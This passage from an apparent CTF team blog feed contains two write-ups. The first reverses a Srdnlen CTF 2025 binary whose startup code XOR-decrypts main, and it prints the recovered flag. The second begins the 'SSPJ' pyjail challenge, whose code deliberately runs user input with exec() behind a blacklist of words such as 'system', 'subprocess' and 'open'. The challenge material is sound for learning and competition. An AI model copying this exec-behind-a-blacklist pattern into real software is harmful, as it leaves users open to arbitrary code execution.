</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">fwrite</span>(<span style="color:#fc6a5d">&#34;Error generating random key.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">0x1DuLL</span>, stderr);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This is really a strange function, because, there is no flag check, so the first thounght is to check the <strong>.init_array</strong> section for global constructors, but it ends up without functions.
The next step is to set a breakpoint on the <code>EVP_EncryptFinal_ex</code> function call to see what is happening. But this breakpoint is never being triggered, so we know that something strange is happening, and after a quick realization we can find that the _start function is not the standard one:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">void</span> __noreturn <span style="color:#41a1c0">start</span>()
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">signed</span> <span style="color:#fc5fa3">__int64</span> v0; <span style="color:#6c7986">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **v1; <span style="color:#6c7986">// rdx
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> *v2; <span style="color:#6c7986">// rsi
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> v3; <span style="color:#6c7986">// rcx
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _BYTE *key; <span style="color:#6c7986">// rdi
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> v5; <span style="color:#6c7986">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">signed</span> <span style="color:#fc5fa3">__int64</span> v6; <span style="color:#6c7986">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">signed</span> <span style="color:#fc5fa3">__int64</span> v7; <span style="color:#6c7986">// rax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">__int64</span> buf; <span style="color:#6c7986">// [rsp+0h] [rbp-8h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  v0 = <span style="color:#41a1c0">sys_mprotect</span>((<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int64</span>)main &amp; <span style="color:#d0bf69">0xFFFFFFFFFFFFF000LL</span>, <span style="color:#d0bf69">0x1000uLL</span>, <span style="color:#d0bf69">7uLL</span>);
</span></span><span style="display:flex;"><span>  v2 = (<span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> *)main;
</span></span><span style="display:flex;"><span>  v3 = <span style="color:#d0bf69">342LL</span>;
</span></span><span style="display:flex;"><span>  key = &amp;keys;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    *v2++ ^= *key++;
</span></span><span style="display:flex;"><span>    --v3;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">while</span> ( v3 );
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">LODWORD</span>(v5) = <span style="color:#41a1c0">main</span>((<span style="color:#fc5fa3">int</span>)key, (<span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **)v2, v1);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( v5 )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    buf = <span style="color:#960050">&#39;</span>!seY<span style="color:#960050">&#39;</span>;
</span></span><span style="display:flex;"><span>    v6 = <span style="color:#41a1c0">sys_write</span>(<span style="color:#d0bf69">1u</span>, (<span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> *)&amp;buf, <span style="color:#d0bf69">4uLL</span>);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  v7 = <span style="color:#41a1c0">sys_exit</span>(<span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As what we can see by the decopiled code of IDA, the start is <em>decrypting</em> the main, so we can set a breakpoint on the <strong>main</strong> function call to see it decrypted:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">int</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">main</span>(<span style="color:#fc5fa3">int</span> argc, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **argv, <span style="color:#fc5fa3">const</span> <span style="color:#fc5fa3">char</span> **envp)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> result; <span style="color:#6c7986">// eax
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> *v4; <span style="color:#6c7986">// rdi
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _BYTE *i; <span style="color:#6c7986">// rsi
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _QWORD v6[<span style="color:#d0bf69">3</span>]; <span style="color:#6c7986">// [rsp+410h] [rbp-470h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _QWORD v7[<span style="color:#d0bf69">3</span>]; <span style="color:#6c7986">// [rsp+428h] [rbp-458h]
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">char</span> in[<span style="color:#d0bf69">1024</span>]; <span style="color:#6c7986">// [rsp+440h] [rbp-440h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _BYTE iv[<span style="color:#d0bf69">16</span>]; <span style="color:#6c7986">// [rsp+840h] [rbp-40h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  _BYTE key[<span style="color:#d0bf69">32</span>]; <span style="color:#6c7986">// [rsp+850h] [rbp-30h] BYREF
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)<span style="color:#41a1c0">RAND_bytes</span>(key, <span style="color:#d0bf69">32LL</span>) )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> ( (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">int</span>)<span style="color:#41a1c0">RAND_bytes</span>(iv, <span style="color:#d0bf69">16LL</span>) )
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">printf</span>(<span style="color:#fc6a5d">&#34;FLAG: &#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">fgets</span>(in, <span style="color:#d0bf69">1024</span>, _bss_start);
</span></span><span style="display:flex;"><span>      v4 = in;
</span></span><span style="display:flex;"><span>      in[<span style="color:#41a1c0">strcspn</span>(in, <span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>)] = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>      v6[<span style="color:#d0bf69">0</span>] = <span style="color:#d0bf69">0x3B2E252C2E243233LL</span>;
</span></span><span style="display:flex;"><span>      v6[<span style="color:#d0bf69">1</span>] = <span style="color:#d0bf69">0x32341F327336732ELL</span>;
</span></span><span style="display:flex;"><span>      v6[<span style="color:#d0bf69">2</span>] = <span style="color:#d0bf69">0x1F7328141F347535LL</span>;
</span></span><span style="display:flex;"><span>      v7[<span style="color:#d0bf69">0</span>] = <span style="color:#d0bf69">0x2E35261F2E71742DLL</span>;
</span></span><span style="display:flex;"><span>      result = <span style="color:#d0bf69">0x34232E35</span>;
</span></span><span style="display:flex;"><span>      *(_QWORD *)((<span style="color:#fc5fa3">char</span> *)v7 + <span style="color:#d0bf69">6</span>) = <span style="color:#d0bf69">0x3D2E707134232E35LL</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">for</span> ( i = v6; ; ++i )
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>        <span style="color:#41a1c0">LOBYTE</span>(result) = *i;
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> ( (*i ^ (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int8</span>)*v4) != <span style="color:#d0bf69">64</span> )
</span></span><span style="display:flex;"><span>          <span style="color:#fc5fa3">break</span>;
</span></span><span style="display:flex;"><span>        ++v4;
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> ( (_BYTE)result == <span style="color:#d0bf69">61</span> )
</span></span><span style="display:flex;"><span>          <span style="color:#fc5fa3">return</span> result;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Nope!&#34;</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#41a1c0">fwrite</span>(<span style="color:#fc6a5d">&#34;Error generating random IV.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">0x1CuLL</span>, stderr);
</span></span><span style="display:flex;"><span>      <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">else</span>
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">fwrite</span>(<span style="color:#fc6a5d">&#34;Error generating random key.</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">1uLL</span>, <span style="color:#d0bf69">0x1DuLL</span>, stderr);
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As we can see, the decrypted function is actually checking the flag by xorring the strange bytes that we saw earlier with the input to get <strong>64</strong> (0x40), so we can reverse he operation and flag:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> pwn <span style="color:#fc5fa3">import</span> xor
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> Crypto.Util.number <span style="color:#fc5fa3">import</span> long_to_bytes
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag = [
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0x3B2E252C2E243233</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0x32341F327336732E</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0x1F7328141F347535</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0x2E35261F2E71742D</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#d0bf69">0x3D2E707134232E35</span>,
</span></span><span style="display:flex;"><span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag = <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;&#39;</span>.join([long_to_bytes(i) <span style="color:#fc5fa3">for</span> i in flag[::-<span style="color:#d0bf69">1</span>]])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(xor(flag, <span style="color:#d0bf69">0x40</span>)[::-<span style="color:#d0bf69">1</span>])
</span></span></code></pre></div><p>this takes out the following flag: <code>srdnlen{n3v3r_tru5t_Th3_m41n_fununct10n}</code> which is wrong, but we can fix it by removing the extra <strong>un</strong> in <strong>fununct10n</strong> to get the real flag <code>srdnlen{n3v3r_tru5t_Th3_m41n_funct10n}</code></p>
]]></content></item><item><title>Srdnlen CTF 2025 - SSPJ</title><link>https://theromanxpl0.it/posts/2025/01/srdnlen-ctf-2025-sspj/</link><pubDate>Sun, 19 Jan 2025 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/01/srdnlen-ctf-2025-sspj/</guid><description>&lt;h2 id="challenge">Challenge&lt;/h2>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-py" data-lang="py">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">import&lt;/span> random
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">class&lt;/span> &lt;span style="color:#5dd8ff">SSPJ&lt;/span>(&lt;span style="color:#d0a8ff">object&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">__init__&lt;/span>(&lt;span style="color:#a167e6">self&lt;/span>):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Welcome to the Super Secure Python Jail (SSPJ)!&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;You can run your code here, but be careful not to break the rules...&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a167e6">self&lt;/span>.code = &lt;span style="color:#a167e6">self&lt;/span>.code_sanitizer(&lt;span style="color:#d0a8ff">input&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Enter your data: &amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># I&amp;#39;m so confident in my SSPJ that&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># I don&amp;#39;t even need to delete any globals/builtins&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exec(&lt;span style="color:#a167e6">self&lt;/span>.code, &lt;span style="color:#d0a8ff">globals&lt;/span>())
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">code_sanitizer&lt;/span>(&lt;span style="color:#a167e6">self&lt;/span>, code: &lt;span style="color:#d0a8ff">str&lt;/span>) -&amp;gt; &lt;span style="color:#d0a8ff">str&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> not code.isascii():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Alien material detected... Exiting.&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> banned_chars = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Why do you need these characters?&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;m&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;o&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;w&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;q&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;b&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;y&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;u&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;h&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;c&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;v&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;z&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;x&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;k&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> banned_digits = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Why do you need these digits?&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;0&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;7&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;1&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> banned_symbols = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># You don&amp;#39;t need these...&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;.&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;(&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;&amp;#39;&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;=&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;{&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;:&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;@&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#39;&amp;#34;&amp;#39;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;[&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;`&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> banned_words = [
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Oh no, you can&amp;#39;t use these words!&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;globals&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;breakpoint&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;locals&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;self&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;system&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;open&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;eval&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;import&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;exec&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;flag&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;os&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;subprocess&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;input&amp;#34;&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc6a5d">&amp;#34;random&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;builtins&amp;#34;&lt;/span>, &lt;span style="color:#fc6a5d">&amp;#34;code_sanitizer&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> blacklist = banned_chars + banned_digits + banned_symbols + banned_words
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> random.shuffle(blacklist)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#d0a8ff">any&lt;/span>(&lt;span style="color:#d0a8ff">map&lt;/span>(&lt;span style="color:#fc5fa3">lambda&lt;/span> c: c in code, blacklist)):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#d0a8ff">print&lt;/span>(&lt;span style="color:#fc6a5d">&amp;#34;Are you trying to cheat me!? Emergency exit in progress.&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> exit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> code.lower()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#41a1c0">__name__&lt;/span> == &lt;span style="color:#fc6a5d">&amp;#34;__main__&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> SSPJ()
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="solve">Solve&lt;/h2>
&lt;p>This is a simple pyjail. We can&amp;rsquo;t use &lt;code>(&lt;/code>, &lt;code>[&lt;/code>, &lt;code>{&lt;/code> and also &lt;code>.&lt;/code>, &lt;code>=&lt;/code> so it&amp;rsquo;s basically impossible to pollute attributes of &lt;code>help&lt;/code>, &lt;code>license&lt;/code>, etc.&lt;/p></description><content type="html"><![CDATA[<h2 id="challenge">Challenge</h2>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> random
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">class</span> <span style="color:#5dd8ff">SSPJ</span>(<span style="color:#d0a8ff">object</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">__init__</span>(<span style="color:#a167e6">self</span>):
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Welcome to the Super Secure Python Jail (SSPJ)!&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;You can run your code here, but be careful not to break the rules...&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#a167e6">self</span>.code = <span style="color:#a167e6">self</span>.code_sanitizer(<span style="color:#d0a8ff">input</span>(<span style="color:#fc6a5d">&#34;Enter your data: &#34;</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986"># I&#39;m so confident in my SSPJ that</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6c7986"># I don&#39;t even need to delete any globals/builtins</span>
</span></span><span style="display:flex;"><span>        exec(<span style="color:#a167e6">self</span>.code, <span style="color:#d0a8ff">globals</span>())
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">code_sanitizer</span>(<span style="color:#a167e6">self</span>, code: <span style="color:#d0a8ff">str</span>) -&gt; <span style="color:#d0a8ff">str</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> not code.isascii():
</span></span><span style="display:flex;"><span>            <span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#34;Alien material detected... Exiting.&#34;</span>)
</span></span><span style="display:flex;"><span>            exit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        banned_chars = [
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># Why do you need these characters?</span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;m&#34;</span>, <span style="color:#fc6a5d">&#34;o&#34;</span>, <span style="color:#fc6a5d">&#34;w&#34;</span>, <span style="color:#fc6a5d">&#34;q&#34;</span>, <span style="color:#fc6a5d">&#34;b&#34;</span>, <span style="color:#fc6a5d">&#34;y&#34;</span>, <span style="color:#fc6a5d">&#34;u&#34;</span>, <span style="color:#fc6a5d">&#34;h&#34;</span>, <span style="color:#fc6a5d">&#34;c&#34;</span>, <span style="color:#fc6a5d">&#34;v&#34;</span>, <span style="color:#fc6a5d">&#34;z&#34;</span>, <span style="color:#fc6a5d">&#34;x&#34;</span>, <span style="color:#fc6a5d">&#34;k&#34;</span>
</span></span><span style="display:flex;"><span>        ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        banned_digits = [
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># Why do you need these digits?</span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;0&#34;</span>, <span style="color:#fc6a5d">&#34;7&#34;</span>, <span style="color:#fc6a5d">&#34;1&#34;</span>
</span></span><span style="display:flex;"><span>        ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        banned_symbols = [
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># You don&#39;t need these...</span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;.&#34;</span>, <span style="color:#fc6a5d">&#34;(&#34;</span>, <span style="color:#fc6a5d">&#34;&#39;&#34;</span>, <span style="color:#fc6a5d">&#34;=&#34;</span>, <span style="color:#fc6a5d">&#34;{&#34;</span>, <span style="color:#fc6a5d">&#34;:&#34;</span>, <span style="color:#fc6a5d">&#34;@&#34;</span>, <span style="color:#fc6a5d">&#39;&#34;&#39;</span>, <span style="color:#fc6a5d">&#34;[&#34;</span>, <span style="color:#fc6a5d">&#34;`&#34;</span>
</span></span><span style="display:flex;"><span>        ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        banned_words = [
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986"># Oh no, you can&#39;t use these words!</span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;globals&#34;</span>, <span style="color:#fc6a5d">&#34;breakpoint&#34;</span>, <span style="color:#fc6a5d">&#34;locals&#34;</span>, <span style="color:#fc6a5d">&#34;self&#34;</span>, <span style="color:#fc6a5d">&#34;system&#34;</span>, <span style="color:#fc6a5d">&#34;open&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;eval&#34;</span>, <span style="color:#fc6a5d">&#34;import&#34;</span>, <span style="color:#fc6a5d">&#34;exec&#34;</span>, <span style="color:#fc6a5d">&#34;flag&#34;</span>, <span style="color:#fc6a5d">&#34;os&#34;</span>, <span style="color:#fc6a5d">&#34;subprocess&#34;</span>, <span style="color:#fc6a5d">&#34;input&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#fc6a5d">&#34;random&#34;</span>, <span style="color:#fc6a5d">&#34;builtins&#34;</span>, <span style="color:#fc6a5d">&#34;code_sanitizer&#34;</span>
</span></span><span style="display:flex;"><span>        ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        blacklist = banned_chars + banned_digits + banned_symbols + banned_words
</span></span><span style="display:flex;"><span>        random.shuffle(blacklist)
</span></span><span style="display:flex;"><span>
